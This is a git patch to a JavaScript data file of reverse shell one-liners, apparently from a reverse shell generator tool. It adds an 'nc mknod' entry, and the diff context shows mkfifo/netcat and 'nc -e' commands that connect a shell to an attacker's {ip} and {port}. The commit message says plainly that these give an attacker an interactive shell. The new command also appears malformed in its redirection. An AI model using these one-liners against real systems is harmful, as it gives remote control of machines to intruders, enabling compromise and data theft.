From 1418d9f5f4860e072997922057d4e29c1070b0be Mon Sep 17 00:00:00 2001 From: ghost-ng <21272239+ghost-ng@users.noreply.github.com> Date: Fri, 27 Jun 2025 19:52:07 -0500 Subject: [PATCH] Update data.js with nc mknod MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This one-liner sets up a fully interactive reverse shell by creating a named pipe in a temporary directory, then using Netcat to connect back to an attacker-controlled host. It connects Netcat’s input and output through the named pipe so that commands sent by the attacker are executed by the chosen shell, and the results are sent back, creating a bi-directional shell. --- js/data.js | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/js/data.js b/js/data.js index 660a509..a4d0069 100644 --- a/js/data.js +++ b/js/data.js @@ -51,6 +51,11 @@ const reverseShellCommands = withCommandType( "command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc {ip} {port} >/tmp/f", "meta": ["linux", "mac"] }, + { + "name": "nc mknod", + "command": "cd /tmp;rm -f x; mknod x p && nc {ip} {port} 0x", + "meta": ["linux", "mac"] + }, { "name": "nc -e", "command": "nc {ip} {port} -e {shell}",